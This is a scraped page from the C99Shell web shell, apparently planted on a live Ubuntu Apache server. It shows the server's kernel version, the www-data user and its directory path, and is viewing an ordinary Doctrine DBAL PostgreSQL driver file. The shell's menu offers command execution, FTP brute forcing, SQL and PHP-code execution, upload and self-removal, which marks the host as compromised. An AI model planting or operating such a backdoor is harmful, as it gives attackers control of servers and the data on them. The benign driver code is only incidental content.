!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/doctrine/dbal/src/Driver/PgSQL/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Driver.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Driver\PgSQL;

use 
Doctrine\DBAL\Driver\AbstractPostgreSQLDriver;
use 
ErrorException;
use 
SensitiveParameter;

use function 
addslashes;
use function 
array_filter;
use function 
array_keys;
use function 
array_map;
use function 
array_slice;
use function 
array_values;
use function 
func_get_args;
use function 
implode;
use function 
pg_connect;
use function 
restore_error_handler;
use function 
set_error_handler;
use function 
sprintf;

use const 
PGSQL_CONNECT_FORCE_NEW;

final class 
Driver extends AbstractPostgreSQLDriver
{
    
/** {@inheritdoc} */
    
public function connect(
        #[
SensitiveParameter]
        array 
$params
    
): Connection {
        
set_error_handler(
            static function (
int $severitystring $message) {
                throw new 
ErrorException($message0$severity, ...array_slice(func_get_args(), 22));
            },
        );

        try {
            
$connection pg_connect($this->constructConnectionString($params), PGSQL_CONNECT_FORCE_NEW);
        } catch (
ErrorException $e) {
            throw new 
Exception($e->getMessage(), '08006'0$e);
        } finally {
            
restore_error_handler();
        }

        if (
$connection === false) {
            throw new 
Exception('Unable to connect to Postgres server.');
        }

        
$driverConnection = new Connection($connection);

        if (isset(
$params['application_name'])) {
            
$driverConnection->exec('SET application_name = ' $driverConnection->quote($params['application_name']));
        }

        return 
$driverConnection;
    }

    
/**
     * Constructs the Postgres connection string
     *
     * @param array<string, mixed> $params
     */
    
private function constructConnectionString(
        #[
SensitiveParameter]
        array 
$params
    
): string {
        
$components array_filter(
            [
                
'host' => $params['host'] ?? null,
                
'port' => $params['port'] ?? null,
                
'dbname' => $params['dbname'] ?? 'postgres',
                
'user' => $params['user'] ?? null,
                
'password' => $params['password'] ?? null,
                
'sslmode' => $params['sslmode'] ?? null,
            ],
            static fn (
$value) => $value !== '' && $value !== null,
        );

        return 
implode(' 'array_map(
            static fn (
$valuestring $key) => sprintf("%s='%s'"$keyaddslashes($value)),
            
array_values($components),
            
array_keys($components),
        ));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0276 ]--